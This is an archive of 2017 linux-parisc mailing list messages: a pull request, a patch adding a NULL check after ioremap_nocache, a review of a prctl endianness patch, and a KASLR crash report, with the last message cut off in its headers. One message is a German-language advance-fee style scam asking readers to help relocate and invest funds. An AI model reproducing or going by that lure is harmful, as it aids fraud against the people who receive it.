Original-X-From: linux-kernel-owner@vger.kernel.org Sun Jan 29 18:32:21 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cXtKh-0003ga-VY
	for glk-linux-kernel-3@m.gmane.org; Sun, 29 Jan 2017 18:32:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751784AbdA2Rbg (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sun, 29 Jan 2017 12:31:36 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:56893 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751682AbdA2RbJ (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Sun, 29 Jan 2017 12:31:09 -0500
Original-Received: from p100.box ([92.203.21.69]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MhQju-1ctQIt2CTi-00Mawd; Sun, 29
 Jan 2017 18:30:57 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:oxAP1M5wWr4loklj1KqyOEKhA1+Cu/fUZDF/cUvYdk2gCATAqf3
 JfKNA4vWq39QL3SAlzdLdvlJJub5FQRMFx56c9tR3HjTJbO0GrY2A1T1uSOW2BBHCH10Un0
 Grsaun+z09VuX8082T0Bl7PUa6ANTsHQlv1klHEWt9uAFN4VxxjJy0cVFwXcsWcVdRsNYzW
 tFilZEb4g7at02E2OupBg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:tflAFy6Lgc4=:FEOjUNr2GDWztzwP19GsBf
 56md3dtN3YXRU5Pe9cheaqVuK+x1FcLibym2DQoRvrT6kCpv7XhE3Y6DAEx78mFmU4vQAhFV4
 RgU60GFFgtdf317THXR0B7mNQeyqYRA8ZrkuZmCtoz26Zz7dMZLDxN1UvQ5qsd0bnHBt80uf0
 xgAqXCZ5ZiIx7vnk/BySH5mYavp+2vVr8X+DL4teD0U/doQv7Vw5zXddqHg+hu8O7uLckpcyQ
 4o4m7OBTFWDZXEgse68qWtfzGV3+UyRPgpmNODLI3heE+IYTIzGRQKAcK88+7xOeWe73P+S3n
 oTYxabTM44zwOVWrH/8VxugNoyX/xZKznnxezQmBkyMdmWDqVfNRvRF6h90dmAwvtHfHGF6lE
 cu/pjkKE/7YWs2lPRTk6ZNk/FWyd/jhXQK+lSQg01sD7qcyfb1X4stIurB+mQpugLstR5bRSu
 mn+AXeAnbx5avwhfpQVUK4rtH4TwgjjB1YhjWzIr3ps87yWk+3AE+X2pLkIwY/fBO8dZYRD0o
 Wv1BPt8RYekz6ea4LkhWqhRu/wOZhT8GZRFQDF3YafKEuN2kmcqTH2L8eKjpTCdAgs9UIZ054
 dKGw0FewBNvm7oZSddAmZvjuTRhio7Ngf5yGpS2Pj6J3lKyu9Yu0sf5z9iq8TjTNtxXWQhoXs
 Ru+WwbeNbE5JaLEHc1NrcwGEWqlc61QJVAsRxNbJPX62oshXW+LyIdhW1LyzrjEA17QqU8m08
 yDpFXrqcSjnp3CEH3RsnscedI9Lwh8eyBzm81+clDlD3oUVeq2w66TgWaoc=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2398714 gmane.linux.ports.parisc:27232
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2398714>

Hi Linus,

please pull two fixes for the parisc architecture for kernel 4.10-rc6 from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.10-3

One fix to avoid usage of BITS_PER_LONG in user-space exported swab.h header
which breaks compiling qemu, and one trivial fix for printk continuation in the
parisc parport driver.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (2):
      parisc, parport_gsc: Fixes for printk continuation lines
      parisc: Don't use BITS_PER_LONG in userspace-exported swab.h header

 arch/parisc/include/asm/bitops.h           | 8 +++++++-
 arch/parisc/include/uapi/asm/bitsperlong.h | 2 --
 arch/parisc/include/uapi/asm/swab.h        | 5 +++--
 drivers/parport/parport_gsc.c              | 8 ++++----
 4 files changed, 14 insertions(+), 9 deletions(-)


From - Thu Nov 08 21:39:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v1] video : fbdev : stifb :- Handle return NULL error from
 ioremap_nocache.
Date: Mon, 30 Jan 2017 16:59:22 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <1759269.Z5Z5RrJiUP@amdc3058>
References: <CGME20170118102229epcas1p21c74a99299ee919a3f2d28ad435b7ca7@epcas1p2.samsung.com>
 <1484734911-5299-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7Bit
X-Trace: blaine.gmane.org 1485792151 5124 195.159.176.226 (30 Jan 2017 16:02:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 30 Jan 2017 16:02:31 +0000 (UTC)
User-Agent: KMail/4.13.3 (Linux/3.13.0-96-generic; KDE/4.13.3; x86_64; ; )
Cc: jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
        linux-fbdev@vger.kernel.org, linux-kernel@vger.kernel.org
To: Arvind Yadav <arvind.yadav.cs@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 30 17:02:25 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cYEPP-0007vf-Ln
	for glpp-linux-parisc@m.gmane.org; Mon, 30 Jan 2017 17:02:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932246AbdA3QC3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 30 Jan 2017 11:02:29 -0500
Original-Received: from mailout2.samsung.com ([203.254.224.25]:59561 "EHLO
        mailout2.samsung.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753632AbdA3QC1 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 30 Jan 2017 11:02:27 -0500
Original-Received: from epcas5p3.samsung.com (unknown [182.195.41.41])
 by mailout2.samsung.com
 (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May  5 2014))
 with ESMTP id <0OKL024V4OF30T80@mailout2.samsung.com>; Tue,
 31 Jan 2017 00:59:27 +0900 (KST)
Original-Received: from epsmges5p3.samsung.com (unknown [182.195.42.46])
 by     epcas5p2.samsung.com (KnoxPortal)
 with ESMTP id  20170130155926epcas5p29a83f2a6c68813174583dc0cfb7ccc0f~el_vvn6qD2871528715epcas5p2v;
        Mon, 30 Jan 2017 15:59:26 +0000 (GMT)
Original-Received: from epcas5p2.samsung.com ( [182.195.41.40])
 by     epsmges5p3.samsung.com (EPCPMTA) with SMTP id B3.AA.04850.ED26F885; Tue,
 31     Jan 2017 00:59:26 +0900 (KST)
Original-Received: from epcpsbgm2new.samsung.com
 (u27.gpu120.samsung.co.kr      [203.254.230.27])
 by epcas5p2.samsung.com (KnoxPortal)
 with ESMTP id  20170130155925epcas5p2eb7261871793488fb6d181ff509b469d~el_unP4sL1238512385epcas5p2Y;
        Mon, 30 Jan 2017 15:59:25 +0000 (GMT)
X-AuditID: b6c32a2e-f79656d0000012f2-10-588f62dea9bd
Original-Received: from epmmp1.local.host ( [203.254.227.16])
 by     epcpsbgm2new.samsung.com (EPCPMTA) with SMTP id 36.66.06428.DD26F885; Tue,
        31 Jan 2017 00:59:25 +0900 (KST)
Original-Received: from amdc3058.localnet ([106.120.53.102])
 by mmp1.samsung.com    (Oracle Communications Messaging Server 7.0.5.31.0 64bit
 (built May  5  2014)) with ESMTPA id <0OKL00GG3OEZHN80@mmp1.samsung.com>; Tue,
 31 Jan 2017    00:59:25 +0900 (KST)
In-reply-to: <1484734911-5299-1-git-send-email-arvind.yadav.cs@gmail.com>
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFupileLIzCtJLcpLzFFi42LZdlhTQ/deUn+Ewf+p6hbXehcyW9z/dJvR
        4v66VawWJ/o+sFpc3jWHzeLRqQtMDmweO2fdZff48DHO48Ki36wenzfJBbBEcdmkpOZklqUW
        6dslcGW8vHWOpeA3b8XL92cZGxhfc3cxcnJICJhIXN4xkxHCFpO4cG89WxcjF4eQwFJGiV8P
        3zNBOO1MEvfnnGKG6Zg8eSoLRGI5o8T0lUeYIZyvjBJT93xiAaliE7CSmNi+CmyuiICOxKaZ
        vxlBipgFmhklXv3sBBslLJAoMbXpOJjNIqAqcebPMbBmXgFNiW8vm9lBbFEBL4kt+9qZQGxO
        AU+J13caWCFqBCV+TL4HVs8sIC+xb/9UVghbR+LssXVgyyQEJrNL/N77AGgBB5AjK7HpANQL
        LhKnF72CsoUlXh3fwg5hS0v8XXoLGhjTGSW2/5aAmLOZUWLV7glQRdYSh49fhFrGJ9H7+wkT
        xHxeiY42IYgSD4nJF94yQdiOEms2/oAG1xxGiUP7LrFOYJSfheSHWUh+mIXkhwWMzKsYxVIL
        inPTU4tNC4z1ihNzi0vz0vWS83M3MYJTiJbeDsZ/C7wPMQpwMCrx8L7w7Y8QYk0sK67MPcQo
        wcGsJMIbEAcU4k1JrKxKLcqPLyrNSS0+xCjNwaIkzrugwjpCSCA9sSQ1OzW1ILUIJsvEwSnV
        wLhBSdkmrdxPXemaf0/GZ62QpvlvXcyitL6KXNDuyqnueS1UFFEVdoRnx3G7LzVTklmT 
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFlrNIsWRmVeSWpSXmKPExsVy+t9jAd27Sf0RBh//iFlc613IbHH/021G
        i/vrVrFanOj7wGpxedccNotHpy4wObB57Jx1l93jw8c4jwuLfrN6fN4kF8AS5WaTkZqYklqk
        kJqXnJ+SmZduqxQa4qZroaSQl5ibaqsUoesbEqSkUJaYUwrkGRmgAQfnAPdgJX27BLeMl7fO
        sRT85q14+f4sYwPja+4uRk4OCQETicmTp7JA2GISF+6tZwOxhQSWMkqc3whkcwHZXxkltu7a
        D5ZgE7CSmNi+ihHEFhHQkdg08zcjSBGzQDOjxPRFU5hBEsICiRLr1m0Ea2ARUJU48+cY2AZe
        AU2Jby+b2UFsUQEviS372plAbE4BT4nXdxpYIbbNY5SYf6UfqkFQ4sfke2A2s4C8xL79U1kh
        bC2J9TuPM01gFJiFpGwWkrJZSMoWMDKvYpRILUguKE5KzzXKSy3XK07MLS7NS9dLzs/dxAiO
        qGfSOxgP73I/xCjAwajEwzvBuz9CiDWxrLgy9xCjBAezkghvQBxQiDclsbIqtSg/vqg0J7X4
        EKMp0IcTmaVEk/OB0Z5XEm9oYm5ibmxgYW5paWKkJM7bOPtZuJBAemJJanZqakFqEUwfEwen
        VAMjY9iJ78sFVjku4/SxZ9sqeSJBZaXhCvVTpWdP9+/vWceT8ab/7ydW9VUa/0/vju1eULe3
        +HKNfmvuc/NN/0rlFXQtS/g9H0+fJlcYMF2AN1F7+jbh3Y/tKrmZON8+uuRkotFwRzUy 
X-MTR: 20000000000000000@CPGS
X-CMS-MailID: 20170130155925epcas5p2eb7261871793488fb6d181ff509b469d
X-Msg-Generator: CA
X-Sender-IP: 203.254.230.27
X-Local-Sender: =?UTF-8?B?QmFydGxvbWllaiBab2xuaWVya2lld2ljehtTUlBPTC1LZXJu?=
        =?UTF-8?B?ZWwgKFRQKRvsgrzshLHsoITsnpAbU2VuaW9yIFNvZnR3YXJlIEVuZ2luZWVy?=
X-Global-Sender: =?UTF-8?B?QmFydGxvbWllaiBab2xuaWVya2lld2ljehtTUlBPTC1LZXJu?=
        =?UTF-8?B?ZWwgKFRQKRtTYW1zdW5nIEVsZWN0cm9uaWNzG1NlbmlvciBTb2Z0d2FyZSBF?=
        =?UTF-8?B?bmdpbmVlcg==?=
X-Sender-Code: =?UTF-8?B?QzEwG0VIURtDMTBDRDAyQ0QwMjczOTI=?=
CMS-TYPE: 105P
X-HopCount: 7
X-CMS-RootMailID: 20170118102229epcas1p21c74a99299ee919a3f2d28ad435b7ca7
X-RootMTR: 20170118102229epcas1p21c74a99299ee919a3f2d28ad435b7ca7
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27233 gmane.linux.kernel:2399372
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27233>


Hi,

On Wednesday, January 18, 2017 03:51:51 PM Arvind Yadav wrote:
> Here, If ioremap_nocache will fail. It will return NULL.
> Kernel can run into a NULL-pointer dereference.
> This error check will avoid NULL pointer dereference.
> 
> Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>

Thanks, I queued your patch with some minor changes for 4.11
(you can see the final version of the patch below).

Best regards,
--
Bartlomiej Zolnierkiewicz
Samsung R&D Institute Poland
Samsung Electronics


From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Subject: [PATCH v1] video: fbdev: stifb: handle NULL return value from ioremap_nocache

Add missing error check for ioremap_nocache() failure
(prevents NULL pointer dereference on error).

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
[b.zolnierkie: minor fixes]
Signed-off-by: Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>
---
 drivers/video/fbdev/stifb.c |    4 ++++
 1 file changed, 4 insertions(+)

Index: b/drivers/video/fbdev/stifb.c
===================================================================
--- a/drivers/video/fbdev/stifb.c	2017-01-30 16:55:15.766435453 +0100
+++ b/drivers/video/fbdev/stifb.c	2017-01-30 16:55:15.750435453 +0100
@@ -1294,6 +1294,10 @@ static int __init stifb_init_fb(struct s
 	strcpy(fix->id, "stifb");
 	info->fbops = &stifb_ops;
 	info->screen_base = ioremap_nocache(REGION_BASE(fb,1), fix->smem_len);
+	if (!info->screen_base) {
+		printk(KERN_ERR "stifb: failed to map memory\n");
+		goto out_err0;
+	}
 	info->screen_size = fix->smem_len;
 	info->flags = FBINFO_DEFAULT | FBINFO_HWACCEL_COPYAREA;
 	info->pseudo_palette = &fb->pseudo_palette;

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.api
Subject: Re: [PATCH] prctl: implement PR_GET_ENDIAN for all architectures
Date: Tue, 31 Jan 2017 16:26:24 -0800
Lines: 44
Approved: news@gmane.org
Message-ID: <20170131162624.5a85ec47c6ee22e5cc03c4eb@linux-foundation.org>
References: <20170128111310.GA13389@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1485908786 10848 195.159.176.226 (1 Feb 2017 00:26:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Feb 2017 00:26:26 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        Michael Kerrisk <mtk.manpages@googlemail.com>,
        linux-api@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 01 01:26:21 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cYike-0001Ha-HY
	for glpp-linux-parisc@m.gmane.org; Wed, 01 Feb 2017 01:26:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750914AbdBAA00 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 31 Jan 2017 19:26:26 -0500
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:38296 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750851AbdBAA0Z (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 31 Jan 2017 19:26:25 -0500
Original-Received: from akpm3.mtv.corp.google.com (unknown [104.132.1.73])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id C428A94F;
        Wed,  1 Feb 2017 00:26:24 +0000 (UTC)
In-Reply-To: <20170128111310.GA13389@ls3530.fritz.box>
X-Mailer: Sylpheed 3.4.1 (GTK+ 2.24.23; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27234 gmane.linux.kernel:2400789 gmane.linux.kernel.api:22152
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27234>

On Sat, 28 Jan 2017 12:13:10 +0100 Helge Deller <deller@gmx.de> wrote:

> The prctl(PR_GET_ENDIAN) syscall was added to Kernel 2.6.18, but
> implemented for PowerPC only.
> This trivial patch adds support for this syscall for all other architectures.

Seems reasonable.  I guess.  Why is this needed?

The man page will need updating.  It says "PowerPC only".

> 
> diff --git a/kernel/sys.c b/kernel/sys.c
> index 842914e..5818e5e 100644
> --- a/kernel/sys.c
> +++ b/kernel/sys.c
> @@ -79,9 +79,6 @@
>  #ifndef GET_FPEXC_CTL
>  # define GET_FPEXC_CTL(a, b)	(-EINVAL)
>  #endif
> -#ifndef GET_ENDIAN
> -# define GET_ENDIAN(a, b)	(-EINVAL)
> -#endif
>  #ifndef SET_ENDIAN
>  # define SET_ENDIAN(a, b)	(-EINVAL)
>  #endif
> @@ -2136,7 +2133,13 @@ SYSCALL_DEFINE5(prctl, int, option, unsigned long, arg2, unsigned long, arg3,
>  			return -EFAULT;
>  		break;
>  	case PR_GET_ENDIAN:
> +#ifdef GET_ENDIAN
>  		error = GET_ENDIAN(me, arg2);
> +#elif defined(__BIG_ENDIAN)
> +		error = put_user(PR_ENDIAN_BIG, (unsigned int __user *)arg2);
> +#else
> +		error = put_user(PR_ENDIAN_LITTLE, (unsigned int __user *)arg2);
> +#endif
>  		break;
>  	case PR_SET_ENDIAN:
>  		error = SET_ENDIAN(me, arg2);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Miss Marbell <spdr3re9@friend.ocn.ne.jp>
Newsgroups: gmane.linux.ports.parisc
Subject: =?utf-8?Q?Bitte_kontaktieren_Sie_mich_f=C3=BCr_weitere_Details!?=
Date: Wed, 1 Feb 2017 17:26:43 +0900 (JST)
Lines: 16
Approved: news@gmane.org
Message-ID: <104145373.132181699.1485937603248.JavaMail.root__26706.2436011203$1485938418$gmane$org@friend.ocn.ne.jp>
Reply-To: Miss Marbell <brownson.m221@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1485938418 5535 195.159.176.226 (1 Feb 2017 08:40:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Feb 2017 08:40:18 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 01 09:40:10 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cYqSV-0008Gw-LR
	for glpp-linux-parisc@m.gmane.org; Wed, 01 Feb 2017 09:40:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751397AbdBAIkM convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 1 Feb 2017 03:40:12 -0500
Original-Received: from mbkd0229.ocn.ad.jp ([153.149.233.30]:38864 "EHLO
        mbkd0229.ocn.ad.jp" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751471AbdBAIkL (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 1 Feb 2017 03:40:11 -0500
X-Greylist: delayed 802 seconds by postgrey-1.27 at vger.kernel.org; Wed, 01 Feb 2017 03:40:10 EST
Original-Received: from mf-smf-ucb003.ocn.ad.jp (mf-smf-ucb003.ocn.ad.jp [153.149.227.5])
        by mbkd0229.ocn.ad.jp (Postfix) with ESMTP id DBD9FE811A2;
        Wed,  1 Feb 2017 17:26:46 +0900 (JST)
Original-Received: from mf-smf-ucb003.ocn.ad.jp (mf-smf-ucb003 [153.149.227.5])
        by mf-smf-ucb003.ocn.ad.jp (Postfix) with ESMTP id BC40FC05AD;
        Wed,  1 Feb 2017 17:26:46 +0900 (JST)
Original-Received: from ntt.pod01.mv-mta-ucb029 (mv-mta-ucb029.ocn.ad.jp [153.149.230.163])
        by mf-smf-ucb003.ocn.ad.jp (Switch-3.3.4/Switch-3.3.4) with ESMTP id v118QXKa043184;
        Wed, 1 Feb 2017 17:26:43 +0900
Original-Received: from vcwebmail.ocn.ad.jp ([153.149.227.134])
        by ntt.pod01.mv-mta-ucb029 with 
        id fLSj1u0012ud8JZ01LSjKz; Wed, 01 Feb 2017 08:26:43 +0000
Original-Received: from mzcstore161.ocn.ad.jp (mz-cb161p.ocn.ad.jp [180.8.110.7])
        by vcwebmail.ocn.ad.jp (Postfix) with ESMTP;
        Wed,  1 Feb 2017 17:26:43 +0900 (JST)
X-Originating-IP: [154.68.33.156]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27235
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27235>

Sehr geehrte Damen und Herren,

Ich brauche Ihre Unterstützung in Ihrem Land zu verlagern und zu investieren.Ich bitte Sie um Hilfe, weil ich nicht das Wissen über
Geschäft und die Regeln, die Ihr Land für eine sichere Investition führen.

Werden Sie versprechen, mit mir aufrichtig zu sein?

Bitte kontaktieren Sie mich für weitere Details!

Mit freundlichen Grüßen,
Fräulein Marbell.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: crashes in 4.10 because of "parisc: Enable KASLR"
Date: Wed, 1 Feb 2017 12:37:33 -0500 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1702011234060.25046@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: blaine.gmane.org 1485970663 10705 195.159.176.226 (1 Feb 2017 17:37:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Feb 2017 17:37:43 +0000 (UTC)
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
Cc: linux-parisc@vger.kernel.org,
        John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 01 18:37:30 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cYyqX-0001e1-Us
	for glpp-linux-parisc@m.gmane.org; Wed, 01 Feb 2017 18:37:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753186AbdBARhf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 1 Feb 2017 12:37:35 -0500
Original-Received: from mx1.redhat.com ([209.132.183.28]:61914 "EHLO mx1.redhat.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1753050AbdBARhf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 1 Feb 2017 12:37:35 -0500
Original-Received: from smtp.corp.redhat.com (int-mx16.intmail.prod.int.phx2.redhat.com [10.5.11.28])
        (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mx1.redhat.com (Postfix) with ESMTPS id C46E6883A4;
        Wed,  1 Feb 2017 17:37:35 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
        by smtp.corp.redhat.com (Postfix) with ESMTPS id 83C161DAD37;
        Wed,  1 Feb 2017 17:37:35 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id v11HbY4M025929;
        Wed, 1 Feb 2017 12:37:34 -0500
Original-Received: from localhost (mpatocka@localhost)
        by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id v11HbXie025925;
        Wed, 1 Feb 2017 12:37:34 -0500
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
X-Scanned-By: MIMEDefang 2.74 on 10.5.11.28
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.26]); Wed, 01 Feb 2017 17:37:35 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27236
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27236>

Hi

I had some crashes on parisc with the kernel 4.10 and I tracked them to 
the patch 18d98a79382cbe5a7569788d5b7b18e7015506f2 "parisc: Enable KASLR".

The crashes can be reproduced by compiling kernel in a loop - a crash 
happens in a few hours. I have a C8000 workstation with two dual-core 
PA8900 CPUs.

The kernel 4.9 is stable, 4.9 with the patch 18d98a79 isn't.

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] prctl: implement PR_GET_ENDIAN for all architectures
Date: Wed, 1 Feb 2017 20:47:06 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <7c60f97a-4b63-5eff-e837-186f9a31c5a2@gmx.de>
References: <20170128111310.GA13389@ls3530.fritz.box>
 <20170131162624.5a85ec47c6ee22e5cc03c4eb@linux-foundation.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1485978443 22217 195.159.176.226 (1 Feb 2017 19:47:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Feb 2017 19:47:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.6.0
Cc: linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
